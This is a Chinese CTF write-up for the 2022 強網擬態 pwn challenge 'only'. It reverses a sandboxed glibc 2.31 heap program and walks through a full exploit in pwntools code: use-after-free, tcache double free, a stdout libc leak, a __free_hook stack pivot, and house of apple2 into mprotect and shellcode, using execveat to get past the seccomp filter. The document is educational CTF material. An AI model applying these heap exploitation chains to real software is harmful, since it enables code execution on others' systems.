1. 程式人生 > 其它 >強網擬態-2022-pwn-only

強網擬態-2022-pwn-only

強網擬態-2022-pwn-only

總結

  • 該題的沙箱我們可以通過execveat繞過,但是注意execveat是個系統呼叫

  • 2.29以後存在一個key(bk)檢查,不能直接double free

  • 可以通過已經申請一個存在的tcachebins尾往上一點的地址修改size和直接偽造double free

  • house of apple2 + 棧遷移的使用

  • 高版本__free_hook用不了setcontext時,如何棧遷移?

    mov rdx, qword ptr [rdi + 8];
    mov qword ptr [rsp], rax;
    call qword ptr [rdx + 0x20];
    
    mov rsp, rdx;
    ret
    

    注意rdx是關鍵!

  • house of botcake++(?)

逆向分析

glibc版本

$ ./libc.so.6          
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

GLIBC版本是2.31沒啥特別的點需要強調,順便一說GLIBC2.32有對齊檢查和指標加密,處理起來有點麻煩

好吧,有需要強調的點,double free時不能直接double free了,要修改key啥的,或者house of botcake

關鍵函式

  • init函式

    unsigned __int64 sub_135D()
    {
      __int64 v1; // [rsp+0h] [rbp-10h]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      signal(14, (__sighandler_t)((char *)sub_1328 + 1));
      alarm(0x3Cu);
      v1 = seccomp_init(0x7FFF0000LL);
      seccomp_rule_add(v1, 0LL, 59LL, 0LL);
      seccomp_load(v1);  //在這開啟了沙盒
      return __readfsqword(0x28u) ^ v2;
    }
    

    可知,開啟了沙盒,它可能會使程式中殘留chunk,如下(詳細佔個坑)

    pwndbg> bin
    tcachebins
    0x20 [  7]: 0x5586c32cc8f0 —▸ 0x5586c32cca00 —▸ 0x5586c32cccb0 —▸ 0x5586c32cce30 —▸ 0x5586c32ccc90 —▸ 0x5586c32ccf40 —▸ 0x5586c32ccb10 ◂— 0x0
    0x50 [  1]: 0x5586c32ccf60 ◂— 0x0
    0x70 [  7]: 0x5586c32cc800 —▸ 0x5586c32ccba0 —▸ 0x5586c32cc910 —▸ 0x5586c32ccb30 —▸ 0x5586c32cccd0 —▸ 0x5586c32cce50 —▸ 0x5586c32cca20 ◂— 0x0
    0x80 [  5]: 0x5586c32cc870 —▸ 0x5586c32cc980 —▸ 0x5586c32ccc10 —▸ 0x5586c32ccec0 —▸ 0x5586c32cca90 ◂— 0x0
    0xd0 [  1]: 0x5586c32cc350 ◂— 0x0
    0xf0 [  2]: 0x5586c32ccd40 —▸ 0x5586c32cc6b0 ◂— 0x0
    fastbins
    0x20: 0x5586c32cc7d0 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    
    
    

    ​ 沙盒規則如下

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007(這裡規定了只能使用64位系統呼叫)
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
     0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
     0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
     0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0007: 0x06 0x00 0x00 0x00000000  return KILL
    
    
  • Increase函式

    unsigned __int64 sub_161C()
    {
      int size; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( !heap_num )
        exit(0);
      printf("Size:");
      size = read_line();
      if ( size <= 0 || size > 0xE7 )
      {
        puts("Error");
        exit(0);
      }
      heap_prt = malloc(size);
      if ( !heap_prt )
      {
        puts("Error");
        exit(0);
      }
      printf("Content:");
      raed_n(heap_prt, size);
      --heap_num;
      puts("Done!");
      return __readfsqword(0x28u) ^ v2;
    }
    

    邏輯很簡單,輸入size,然後往size裡輸入內容,其中heap_num的值是0xb

  • Initial函式

    unsigned __int64 sub_17B0()
    {
      int size; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( edit_flag == 0xDEADBEEF )
      {
        edit_flag = 0;
        size = 0x10;
        if ( !heap_prt )
        {
          printf("Size:");
          size = read_line();
          if ( size <= 0 || size > 231 )
          {
            puts("Error");
            exit(0);
          }
          heap_prt = malloc(size);
          if ( !heap_prt )
          {
            puts("Error");
            exit(0);
          }
        }
        memset(heap_prt, 0, size);
      }
      return __readfsqword(0x28u) ^ v2;
    }
    

    簡單看看就知道邏輯是申請一個chunk,然後將裡面全改成0

  • Decrease函式:

    unsigned __int64 sub_1734()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      if ( !free_num )
        exit(0);
      free(heap_prt);
      --free_num;
      puts("Done!");
      return __readfsqword(0x28u) ^ v1;
    }
    

    存在uaf

總結

  • Increase與Initial函式可以申請任意大小的chunk
  • Initial函式只能使用1次
  • Increase函式可以使用0xb次
  • Decrease函式存在uaf漏洞
  • 程式邏輯都是對最新申請的chunk進行修改,要狠狠的考慮堆風水
  • 程式開始時有chunk殘留

漏洞利用

前言

  • 首先考慮如何getflag,由於是GLIBC2.31,我們就可以考慮打hook,但是題目開了沙盒,我們不可能直接就system('/bin/sh')。此時注意一下沙盒規則,就會發現可以使用execveat('/bin/sh'),此時有以下思路

    • 修改freehook為execveat,然後free一個有/bin/sh的chunk(但free只有4次使用機會,得好好考慮...恩不包括最後一次,只有3次使用機會) (execveat是系統呼叫,我們沒辦法直接將free_hook改成execveat)

    • 利用以下gadget實現orw

      (1)
      mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
      
      (2)
         0x7f5a85218046 <setcontext+294>:	mov    rcx,QWORD PTR [rdx+0xa8]
         0x7f5a8521804d <setcontext+301>:	push   rcx
         0x7f5a8521804e <setcontext+302>:	mov    rsi,QWORD PTR [rdx+0x70]
         0x7f5a85218052 <setcontext+306>:	mov    rdi,QWORD PTR [rdx+0x68]
         0x7f5a85218056 <setcontext+310>:	mov    rcx,QWORD PTR [rdx+0x98]
      pwndbg> 
         0x7f5a8521805d <setcontext+317>:	mov    r8,QWORD PTR [rdx+0x28]
         0x7f5a85218061 <setcontext+321>:	mov    r9,QWORD PTR [rdx+0x30]
         0x7f5a85218065 <setcontext+325>:	mov    rdx,QWORD PTR [rdx+0x88]
         0x7f5a8521806c <setcontext+332>:	xor    eax,eax
         0x7f5a8521806e <setcontext+334>:	ret     
      

      該思路由下面分析可知,不能使用,主要是因為我們無法控制chunk內0xa8的資料

    • 棧遷移然後mprotect + execveat_bin_sh_shellcode(我們選擇該思路進行攻擊)

    • [...]

過程

  • 利用殘留的chunk,製作一個指向自己的tcache,即double free,如下

    #------------make a double free----------------------
        increace(0xe0)
        decreace() #time1
        initial()
        decreace() #time2
    #------------now we have a double free---------------
    
  • 然後利用uaf部分寫(16分之1的概率),將一條儘可能長的tcachebins的尾結點-0x10寫到我們uaf控制tcachebins裡(儘可能長是為了可以多次申請利用)(前者我們簡記為TA)

    #------------we use double free prt to malloc a full tcache list------------------
        #remote
        off1 = 0x47f0
        off2 = 0xd6a0
        #local
        off1 = (get_current_heapbase_addr() + 0x7f0)&0xffff
        off2 = (get_current_libcbase_addr() + 0x1ed6a0)&0xffff
        log_address_ex2(off1)
        log_address_ex2(off2)
        off1 &= 0xffff
        off2 &= 0xffff
        
        #部分寫,16分1的概率改成以下鏈
        #0x70 [  7]: 0x561303b27800 —▸ 0x561303b27ba0 —▸ 0x561303b27910 —▸ 0x561303b27b30 —▸ 0x561303b27cd0 —▸ 0x561303b27e50 —▸ 0x561303b27a20 ◂— 0x0
        #這一步的目的是使double free可以多次使用malloc
        increace(0xe0, p16_ex(off1))
        
        increace(0xe0)
    
  • 申請我們uaf製造TA處的記憶體,完成偽造TA尾結點tcache的size和fd(fd為double free),從而製造出UB

    #------------------------------------------------------------------------
        #fake a big chunk,and fake a fd point to make double free
        increace(0xe0, flat(0, 0x761, p16(off1+0x10)))
        '''
        before:
        tele 0x55ce5431b7f0
        00:0000│  0x55ce5431b7f0 ◂— 0x0
        01:0008│  0x55ce5431b7f8 ◂— 0x71 /* 'q' */
        02:0010│  0x55ce5431b800 —▸ 0x55ce5431bba0 —▸ 0x55ce5431b910 —▸ 0x55ce5431bb30 —▸ 0x55ce5431bcd0 ◂— ...
        03:0018│  0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007
    
        after:
        pwndbg> tele 0x55ce5431b7f0
        00:0000│  0x55ce5431b7f0 ◂— 0x0
        01:0008│  0x55ce5431b7f8 ◂— 0x761
        02:0010│  0x55ce5431b800 ◂— 0x55ce5431b800  make a double free
        03:0018│  0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007
        '''
        #------------------------------------------------------------------------
    
  • 按照TA的size申請它對應的chunk(事實上我們申請的chunk的size是被我們改過的)

    #------------------------------------------------------------------------
        increace(0x60)
    #As a matter of fact, we malloc(0x750),
    
  • 將該chunk free了,得到UB

    decreace() #time3
    

    此時我們會發現TA中還有原來的尾結點,而它也存在UB中,而且TA中多出了main_arena+96,就像house of botcake一樣,

  • 申請一個size不在tcachebins裡的chunk,這樣就會從UB中切割,他的fd殘留了main_arena+96,而且也是TA的尾結點,爆破攻擊_IO_2_1_stdout_洩露libc地址,修改前

    pwndbg> fp 0x7f628bfa26a0
    $1 = {
      file = {
        _flags = -72537977,
        _IO_read_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_end = 0x7f628bfa2724 <_IO_2_1_stdout_+132> "",
        _IO_save_base = 0x0,
        _IO_backup_base = 0x0,
        _IO_save_end = 0x0,
        _markers = 0x0,
        _chain = 0x7f628bfa1980 <_IO_2_1_stdin_>,
        _fileno = 1,
        _flags2 = 0,
        _old_offset = -1,
        _cur_column = 0,
        _vtable_offset = 0 '\000',
        _shortbuf = "\n",
        _lock = 0x7f628bfa37e0 <_IO_stdfile_1_lock>,
        _offset = -1,
        _codecvt = 0x0,
        _wide_data = 0x7f628bfa1880 <_IO_wide_data_1>,
        _freeres_list = 0x0,
        _freeres_buf = 0x0,
        __pad5 = 0,
        _mode = -1,
        _unused2 = '\000' <repeats 19 times>
      },
      vtable = 0x7f628bf9e4a0 <_IO_file_jumps>
    }
    
    

    ​ 修改後(在呼叫輸出函式前看)

    fp 0x7fb9d9a6c6a0
    $1 = {
      file = {
        _flags = -72542073,
        _IO_read_ptr = 0x0,
        _IO_read_end = 0x0,
        _IO_read_base = 0x0,
        _IO_write_base = 0x7fb9d9a6c700 <_IO_2_1_stdout_+96> "",
        _IO_write_ptr = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_end = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_base = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_end = 0x7fb9d9a6c724 <_IO_2_1_stdout_+132> "",
        _IO_save_base = 0x0,
        _IO_backup_base = 0x0,
        _IO_save_end = 0x0,
        _markers = 0x0,
        _chain = 0x7fb9d9a6b980 <_IO_2_1_stdin_>,
        _fileno = 1,
        _flags2 = 0,
        _old_offset = -1,
        _cur_column = 0,
        _vtable_offset = 0 '\000',
        _shortbuf = "\n",
        _lock = 0x7fb9d9a6d7e0 <_IO_stdfile_1_lock>,
        _offset = -1,
        _codecvt = 0x0,
        _wide_data = 0x7fb9d9a6b880 <_IO_wide_data_1>,
        _freeres_list = 0x0,
        _freeres_buf = 0x0,
        __pad5 = 0,
        _mode = -1,
        _unused2 = '\000' <repeats 19 times>
      },
      vtable = 0x7fb9d9a684a0 <_IO_file_jumps>
    }
    
    
        #--------------------house of botcake------------------------------------
        #now, we make a big chunk into unsortedbin(house of botcake)
        
        #malloc one that didn't show up in tcache list size.
        increace(0x20, p16(off2))
        
        increace(0x60)
    
        increace(0x60, flat(0xfbad1887, 0, 0, 0, "\x00"))
        #------------------------------------------------------------------------
        lbaddr = recv_current_libc_addr(timeout=1)
        lb = 0
        lb = set_current_libc_base_and_log(lbaddr, 0x1ec980)
        lb = lbaddr-0x1ec980
        libc.address = lb
        log_address_ex2(lb)
        #-------------------now we leak libcbase---------------------------------
    
  • 此時我們有了libc地址就可以攻擊free_hook

    通過切割UB,攻擊tcachebins即可

    #-------------------attack free_hook-------------------------------------
        '''
        unsortedbin
        all: 0x55912c67b820 —▸ 0x7fb31ca11be0 (main_arena+96) ◂— 0x55912c67b820
    
        pwndbg> tele 0x55912c67b820
        00:0000│  0x55912c67b820 ◂— 0x1000100000000
        01:0008│  0x55912c67b828 ◂— 0x731
        02:0010│  0x55912c67b830 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0
        03:0018│  0x55912c67b838 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0
        04:0020│  0x55912c67b840 ◂— 0x0
        ↓     3 skipped
        pwndbg> 
        08:0040│  0x55912c67b860 ◂— 0x0
        09:0048│  0x55912c67b868 ◂— 0x81
        0a:0050│  0x55912c67b870 —▸ 0x55912c67b980 —▸ 0x55912c67bc10 —▸ 0x55912c67bec0 —▸ 0x55912c67ba90 ◂— ... attack this
        0b:0058│  0x55912c67b878 —▸ 0x55912c67b010 ◂— 0x1000000000007
        0c:0060│  0x55912c67b880 ◂— 0x0
    
        we find the offset 0x50 have a tcache list
        '''
        increace(0xe0, flat({
            0x40: libc.sym.__free_hook-0x10
        }))
        
        free_hook = libc.sym.__free_hook
        log_address_ex2(free_hook)
        increace(0x78)
        
        # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
        # 0x000000000005e650: mov rsp, rdx; ret;
        # 0x00000000000656e5: add rsp, 0x10; pop rbx; pop r12; pop r13; ret; 
        # 0x0000000000027529: pop rsi; ret;
        # 0x0000000000026b72: pop rdi; ret;
        # 0x000000000011c371: pop rdx; pop r12; ret; 
        # 0x000000000005aa48: leave; ret;
        # 0x00000000000256c0: pop rbp; ret;
    
        #now we will malloc free_hook,but the rdi is (__free_hook - 0x10)
        increace(0x78, flat({
            0x8: libc.sym.__free_hook-0x10+0x18, #減去0x10就是這個attack chunk的mem頭
            0x10: libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__(), #1
            0x38: libc.search(asm("mov rsp, rdx; ret")).__next__(),  #2
            0x18: [
                libc.search(asm("pop rdi; ret")).__next__(),
                libc.sym._IO_2_1_stderr_,
                libc.sym.gets,
                libc.sym.exit
            ]
            }))
        
        decreace() #time4s
    

    該exp利用了2個gadget實現了棧遷移,然後gets(IO_2_1_stderr)

  • 最後就是apple2 + 棧遷移了

        data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
                                                                            libc.sym._IO_wfile_jumps,
                                                                            libc.search(asm("leave; ret")).__next__(),
                                                                            libc.search(asm("pop rbp; ret")).__next__(),
                                                                            libc.sym._IO_2_1_stderr_ + 0xe0-8)
        sl(flat({
            0: data,
            0xe0: [
                libc.search(asm("pop rdi; ret")).__next__(),
                libc.sym._IO_2_1_stderr_ & ~0xfff,
                libc.search(asm("pop rsi; ret")).__next__(),
                0x1000,
                libc.search(asm("pop rdx; pop r12; ret")).__next__(),
                0x7,
                0x0,
                libc.sym.mprotect,
                libc.sym._IO_2_1_stderr_ + 0x130
            ],
            0x130: shellcode
        }))
    

細節

__free_hook棧遷移詳解

(一)

執行:

mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]

rdi為chunk指標, 執行完該gadget後rdx為chunk + 8處的資料,rsp變成gadget自己的地址。然後跳轉到[chunk+8]+0x28處

(二)

mov rsp, rdx;
ret

該gadget完成了棧遷移,將rsp = chunk + 8處的資料,從該資料代表的地址往下執行,我們在chunk + 8資料代表的地址處佈置ROP鏈即可

(三)

pop rdi; ret

給gets函式佈置引數,形成gets(_IO_2_1_stderr_)

house_of_apple2_stack_pivoting_when_exit詳解

原始碼如下

def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int):
        """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
        assert context.bits == 64, "only support amd64!"
        self.flags = 0 
        self._IO_read_ptr = pop_rbp_addr
        self._IO_read_end = fake_rbp_addr
        self._IO_read_base = leave_ret_addr
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._mode = 0
        self._lock = standard_FILE_addr-0x10
        self.chain = leave_ret_addr
        self._codecvt = standard_FILE_addr
        self._wide_data = standard_FILE_addr - 0x48
        self.vtable = _IO_wfile_jumps_addr
        return self.__bytes__()

    house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit

可以得到以下引數解釋:

  • 引數1:一個標準的_IO_FILE_plus結構體地址
  • 引數2:_IO_wfile_jumps的地址
  • 引數3:leave_ret_addr
  • 引數4:pop_rbp_addr
  • 引數5:要遷移過去的地址+8(因為是通過leave;ret遷移)
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
                                                                      libc.sym._IO_wfile_jumps,
                                                                      libc.search(asm("leave; ret")).__next__(),
                                                                      libc.search(asm("pop rbp; ret")).__next__(),
                                                                      libc.sym._IO_2_1_stderr_ + 0xe0-8)

就是棧遷移到libc.sym.IO_2_1_stderr + 0xe0,然後執行libc.sym.IO_2_1_stderr + 0xe0處的地址